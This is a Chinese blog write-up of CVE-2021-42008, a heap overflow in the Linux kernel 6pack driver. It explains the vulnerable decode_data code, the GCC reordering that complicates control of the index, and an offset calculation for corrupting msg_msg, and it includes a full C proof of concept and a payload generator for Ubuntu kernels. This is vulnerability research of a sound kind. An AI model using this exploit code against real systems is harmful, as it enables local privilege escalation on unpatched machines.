• [漏洞分析]CVE-2021-42008 6pack协议堆溢出内核提权


    CVE-2021-42008 6pack协议

    漏洞简介

    漏洞编号: CVE-2021-42008

    漏洞产品: linux kernel - 6pack

    影响版本: linux kernel 2 ~ linux kernel 5.13.12

    漏洞危害: 在拥有cap_net_raw,cap_net_admin cap权限的情况下可以本地提权

    源码获取:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

    环境搭建

    编译ubuntu deb方法即可,参考:https://blog.csdn.net/Breeze_CAT/article/details/123787636?spm=1001.2014.3001.5502

    需要配置的编译选项:

    CONFIG_6PACK=y 
    CONFIG_AX25=y
    CONFIG_E1000=y
    CONFIG_E1000E=y
    
    • 1
    • 2
    • 3
    • 4

    init脚本,需要配置网卡ip,需要cap 权限的话,建议root 调试:

    #!/bin/sh
    mount -t proc proc /proc
    mount -t sysfs sysfs /sys
    mount -t devtmpfs none /dev
    # kcov
    mount -t debugfs none /sys/kernel/debug
    /sbin/mdev -s
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    cat /proc/kallsyms > /tmp/kallsyms
    echo 1 > /proc/sys/kernel/kptr_restrict
    echo 0 > /proc/sys/kernel/dmesg_restrict
    
    chmod 777 /dev/ptmx
    
    ifconfig lo 127.0.0.1
    route add -net 127.0.0.0 netmask 255.255.255.0 lo
    ifconfig eth0 192.168.21.0
    route add -net 192.168.21.0 netmask 255.255.255.0 eth0
    setsid /bin/cttyhack setuidgid 0 /bin/sh #root 调试无需配置cap,导入deb包啥的
    
    echo 'sh end!\n'
    umount /proc
    umount /sys
    
    poweroff -d 0  -f
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    漏洞原理

    关于6pack 的初始化和相关代码 bsauce 大佬分析的很明白了,这里不详细分析了,移步:https://bsauce.github.io/2021/12/09/CVE-2021-42008/

    漏洞发生点

    直接说几个重点,先看越界写处:

    linux\drivers\net\hamradio\6pack.c : decode_data

    static void decode_data(struct sixpack *sp, unsigned char inbyte)
    {
    	unsigned char *buf;
    
    	if (sp->rx_count != 3) {//先将三个字节存放在sp->raw_buf 中
    		sp->raw_buf[sp->rx_count++] = inbyte;
    
    		return;
    	}
    
    	buf = sp->raw_buf;//然后对这三个字节进行解码处理,存放在sp->cooked_buf 中
    	sp->cooked_buf[sp->rx_count_cooked++] =
    		buf[0] | ((buf[1] << 2) & 0xc0);
    	sp->cooked_buf[sp->rx_count_cooked++] =
    		(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
    	sp->cooked_buf[sp->rx_count_cooked++] =
    		(buf[2] & 0x03) | (inbyte << 2);
    	sp->rx_count = 0;//sp->raw_buf 计数器清零
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    decode_data函数会在sixpack_decode 中调用,只要用户传入的解码字符串还没有解码完毕,就会循环调用:

    linux\drivers\net\hamradio\6pack.c : sixpack_decode

    static void
    sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count)
    {
    	unsigned char inbyte;
    	int count1;
    
    	for (count1 = 0; count1 < count; count1++) {
    		inbyte = pre_rbuff[count1];
    		if (inbyte == SIXP_FOUND_TNC) {
    			tnc_set_sync_state(sp, TNC_IN_SYNC);
    			del_timer(&sp->resync_t);
    		}
    		if ((inbyte & SIXP_PRIO_CMD_MASK) != 0)
    			decode_prio_command(sp, inbyte);
    		else if ((inbyte & SIXP_STD_CMD_MASK) != 0)
    			decode_std_command(sp, inbyte);
    		else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)
    			decode_data(sp, inbyte);
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    在这两个函数之中并没有任何对sp->cooked_buf 的边界检查,也就是说如果用户传入的足够长,就会造成缓冲区溢出。查看被溢出结构体struct sixpack:

    struct sixpack {
    	/* Various fields. */
    	struct tty_struct	*tty;		/* ptr to TTY structure	*/
    	struct net_device	*dev;		/* easy for intr handling  */
    
    	/* These are pointers to the malloc()ed frame buffers. */
    	unsigned char		*rbuff;		/* receiver buffer	*/
    	int			rcount;         /* received chars counter  */
    	unsigned char		*xbuff;		/* transmitter buffer	*/
    	unsigned char		*xhead;         /* next byte to XMIT */
    	int			xleft;          /* bytes left in XMIT queue  */
    
    	unsigned char		raw_buf[4]; //三个字节暂存区域
    	unsigned char		cooked_buf[400];//被溢出缓冲区
    
    	unsigned int		rx_count; //暂存区raw_buf 下标
    	unsigned int		rx_count_cooked;//cooked_buf 下标
    
    	··· ···
    };
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    根据结构体我们发现,缓冲区的下标就在缓冲区之后,如果溢出就要考虑修改了下标的问题,我们一会讨论。先看一下这个结构体的堆分配大小,在sixpack_open -> alloc_netdev_mqs 中分配:

    linux\drivers\net\hamradio\6pack.c : sixpack_open

    static int sixpack_open(struct tty_struct *tty)
    {
    	··· ···
    
    	dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN,
    			   sp_setup);
        ··· ···
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    linux\net\core\dev.c : alloc_netdev_mqs

    struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name,
    		unsigned char name_assign_type,
    		void (*setup)(struct net_device *),
    		unsigned int txqs, unsigned int rxqs)
    {
        ··· ···
    	alloc_size = sizeof(struct net_device);
    	if (sizeof_priv) {
    		/* ensure 32-byte alignment of private area */
    		alloc_size = ALIGN(alloc_size, NETDEV_ALIGN);
    		alloc_size += sizeof_priv;
    	}
    	/* ensure 32-byte alignment of whole construct */
    	alloc_size += NETDEV_ALIGN - 1;
    
    	p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL);
    	if (!p)
    		return NULL;
        ··· ···
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    根据如上代码可以看出,实际结构体所在堆是分配了net_device 结构体和 sixpack 结构体,sixpack属于net_device 的私有数据,总大小是sizeof(struct net_device)+sizeof(struct sixpack) 属于kmalloc-4k,也就是1页大小,kmalloc-4k的溢出也是很常见了。

    poc

    直接使用如下poc 可以触发越界写:

    #include
    #include 
    #define N_6PACK 7
    
    char buff[4096]  = {0};
    char *payload;
    int writeLen;
    
    int open_ptmx(void)
    {
        int ptmx;
        ptmx = getpt();
    
        if (ptmx < 0)
        {
            perror("[X] open_ptmx()");
            exit(1);
        }
    
        grantpt(ptmx);
        unlockpt(ptmx);
    
        return ptmx;
    }
    
    int open_pts(int fd)
    {
        int pts;
        pts = open(ptsname(fd), 0, 0);
    
        if (pts < 0)
        {
            perror("[X] open_pts()");
            exit(1);
        }
    
        return pts;
    }
    
    void set_line_discipline(int fd, int ldisc)
    {
        if (ioctl(fd, TIOCSETD, &ldisc) < 0)
        {
            perror("[X] ioctl() TIOCSETD");
            exit(1);
        }
    }
    
    int init_sixpack()
    {
        int ptmx, pts;
    
        ptmx = open_ptmx();
        pts = open_pts(ptmx);
    
        set_line_discipline(pts, N_6PACK);
    
        return ptmx;
    }
    
    char *sixpack_encode(char *src, int plen)
    {
        char *dest = (char *)calloc(1, 0x3000);
        int raw_count = 2;
    
        for (int count = 0; count <= plen; count++)
        {
            if ((count % 3) == 0)
            {
                dest[raw_count++] = (src[count] & 0x3f);
                dest[raw_count] = ((src[count] >> 2) & 0x30);
            }
            else if ((count % 3) == 1)
            {
                dest[raw_count++] |= (src[count] & 0x0f);
                dest[raw_count] =	((src[count] >> 2) & 0x3c);
            }
            else
            {
                dest[raw_count++] |= (src[count] & 0x03);
                dest[raw_count++] = (src[count] >> 2);
            }
        }
        writeLen=raw_count;
        return dest;
    }
    
    char *generate_payload(size_t target)
    {
        char *encoded;
        memset(buff, 0x41, 4096);
    
        if (target)
        {
            for (int i = 0; i < sizeof(size_t); i++)
                buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
        }
    
        encoded = sixpack_encode(buff, 4096);
    
        // sp->status = 0x18 (to reach decode_data())
        encoded[0] = 0x88;
        encoded[1] = 0x98;
    
        return encoded;
    }
    
    void main()
    {
        int ptmx = init_sixpack();
        payload = generate_payload(0);
        write(ptmx, payload, writeLen);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113

    GCC优化

    根据上面溢出部分代码分析,可以得知,每次调用三次将缓存raw_buf 填满之后,会写入cooked_buf。一次写入三个字节,我们会发现一个问题,由于控制向cooked_buf 中写入位置的下标rx_count_cooked 是在cooked_buf 的后面,一旦溢出覆盖到rx_count_cooked 之后,下次就可以跳到我们修改的下标位置开始写,这个特点有好有坏,好处是我们可以控制溢出位置,坏处要先看一段GCC优化之后的汇编(copy from bsauce博客):

    static void decode_data(struct sixpack *sp, unsigned char inbyte)
    {
        unsigned char *buf;
    
            [...]
    
        buf = sp->raw_buf;
        sp->cooked_buf[sp->rx_count_cooked++] =
            buf[0] | ((buf[1] << 2) & 0xc0);
        sp->cooked_buf[sp->rx_count_cooked++] =
            (buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
        sp->cooked_buf[sp->rx_count_cooked++] =
            (buf[2] & 0x03) | (inbyte << 2);
        sp->rx_count = 0;
    }
    
    decode_data + 00:        nop    DWORD PTR [rax+rax*1+0x0]
    decode_data + 05:        movzx  r8d,BYTE PTR [rdi+0x35]     // r8d = sp->raw_buf[1]
    decode_data + 10: [1]    mov    eax,DWORD PTR [rdi+0x1cc]   // eax = sp->rx_count_cooked
    decode_data + 16:        shl    esi,0x2
    decode_data + 19:        lea    edx,[r8*4+0x0]
    decode_data + 27: [2]    mov    rcx,rax                     // rcx = sp->rx_count_cooked
    decode_data + 30:        lea    r9d,[rax+0x1]               // r9d = sp->rx_count_cooked + 1
    decode_data + 34:        and    r8d,0xf
    decode_data + 38:        and    edx,0xffffffc0
    decode_data + 41:        or     dl,BYTE PTR [rdi+0x34]      // dl or sp->raw_buf[0]
    decode_data + 44: [3]    mov    BYTE PTR [rdi+rax*1+0x38],dl // Write 1st decoded byte in sp->cooked_buf
    decode_data + 48:        movzx  edx,BYTE PTR [rdi+0x36]     // eax = sp->raw_buf[2]
    decode_data + 52:        lea    eax,[rdx*4+0x0]
    decode_data + 59:        and    edx,0x3
    decode_data + 62:        and    eax,0xfffffff0
    decode_data + 65:        or     esi,edx
    decode_data + 67:        or     eax,r8d
    decode_data + 70: [4]    mov    BYTE PTR [rdi+r9*1+0x38],al // Write 2nd decoded byte in sp->cooked_buf
    decode_data + 75:        lea    eax,[rcx+0x3]               // eax = sp->rx_count_cooked + 3
    decode_data + 78: [5]    mov    DWORD PTR [rdi+0x1cc],eax   // sp->rx_count_cooked = sp->rx_count_cooked + 3
    decode_data + 84:        lea    eax,[rcx+0x2]               // eax = sp->rx_count_cooked + 2
    decode_data + 87: [6]    mov    BYTE PTR [rdi+rax*1+0x38],sil // Write 3rd decoded byte in sp->cooked_buf
    decode_data + 92:        mov    DWORD PTR [rdi+0x1c8],0x0   // sp->rx_count = 0
    decode_data + 102:       ret    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    大概意思就是,正常的流程应该是:

    1. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
    2. sp->rx_count_cooked 加一
    3. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
    4. sp->rx_count_cooked 加一
    5. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
    6. sp->rx_count_cooked 加一

    一旦sp->rx_count_cooked 被溢出覆盖案例说下面的写将直接被我们控制。但实际上GCC优化之后,变成了

    1. tmp = sp->rx_count_cooked
    2. 向sp->cooked_buf[tmp] 写入一个字节
    3. 向sp->cooked_buf[tmp+1] 写入一个字节
    4. sp->rx_count_cooked=tmp+3
    5. 向sp->cooked_buf[tmp+2] 写入一个字节

    也就是说,如果我们在溢出的前两个字节修改了sp->rx_count_cooked 的话算是无效修改,因为在拷贝完前两个字节之后,会将sp->rx_count_cooked 重置为它+3 的值,我们只能在第三个字节修改到sp->rx_count_cooked 才可以的一个字节,而由于sp->rx_count_cooked 和cooked_buf 的偏移是固定的,第一次第三个字节只能修改到sp->rx_count_cooked 的最低位。最低位修改对我们帮助并不大,就算改到最大0xff,总sp->rx_count_cooked 也就是0x1ff,甚至跳不出sixpack 结构体。

    所以理想状态就是可以让第三个字节正好覆盖sp->rx_count_cooked 的第二字节或更高,这样可以越界跳的更远一些,跳出sixpack 结构体避免崩溃。这就需要我们先将sp->rx_count_cooked 改的小一些,然后回到之前重新修改让第三位可以正好覆盖到sp->rx_count_cooked 的高位:

    请添加图片描述

    第一次覆盖到sp->rx_count_cooked为红色,第二次为蓝色。

    漏洞利用

    这里采用"堆溢出漏洞的胜利方程式"的利用方法,不对原本方法进行分析。

    计算越界偏移

    根据胜利方程式的前提条件,我们假定将4k大小的msg_msg申请到sixpack 结构体的后面,想要溢出覆盖msg_msg->m_listr_next 低两字节为0x00。之前已经提到,可以通过覆盖sp->rx_count_cooked 来跳过sixpack 结构体进行后续溢出操作,但由于每次溢出都是3的倍数,我们指向该低两字节的msg_msg->m_list_next,那么就需要计算从何处开始写才能正好覆盖2字节,难点就是,根据上图我们第二次越界写(蓝色)覆盖sp->rx_count_cooked 的时候也是只能覆盖一位,那么低位就是固定的,所以我们必须以0x100为单位往后跳。当然这里我已经计算完毕,直接公布答案就行(ubuntu 内核下):

    uint8_t *generate_payload(uint64_t target)
    {
        uint8_t *encoded;
        memset(buff, 0, PAGE_SIZE);
    
        buff[0x194] = 0x90;
        buff[0x19a] = 0x05;
        memset(&(buff[0x19b]), 0, 0xb4);
        if (target)
        {
            for (int i = 0; i < sizeof(uint64_t); i++)
                buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
        }
    
        //encoded = sixpack_encode(buff,0x19b+243+0x200-1+2);//orgkernel
        encoded = sixpack_encode(buff,0x19b+0xb4);
        // sp->status = 0x18 (to reach decode_data())
        encoded[0] = 0x88;
        encoded[1] = 0x98;
    
        return encoded;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    这样可以正好覆盖msg_msg->m_listr_next 低两字节为0x00。

    直接胜利方程式

    接下里的步骤就直接套胜利方程式即可,详见"内核堆漏洞的胜利方程式"。

    参考

    https://bsauce.github.io/2021/12/09/CVE-2021-42008/

  • 相关阅读:
    python安装
    RK3562开发板:升级摄像头ISP,突破视觉体验边界
    STM32启动文件
    Presto 中orderby 算子的实现过程
    Markdown 转 PDF API 数据接口
    [附源码]Python计算机毕业设计宠物领养系统
    EasyX图形库note4,动画及键盘交互
    linux杀毒软件clamav安装
    JavaScript 67 JavaScript HTML DOM 67.11 JavaScript HTML DOM 导航
    logback.xml配置文件logger与root标签详解
  • 原文地址:https://blog.csdn.net/Breeze_CAT/article/details/126668312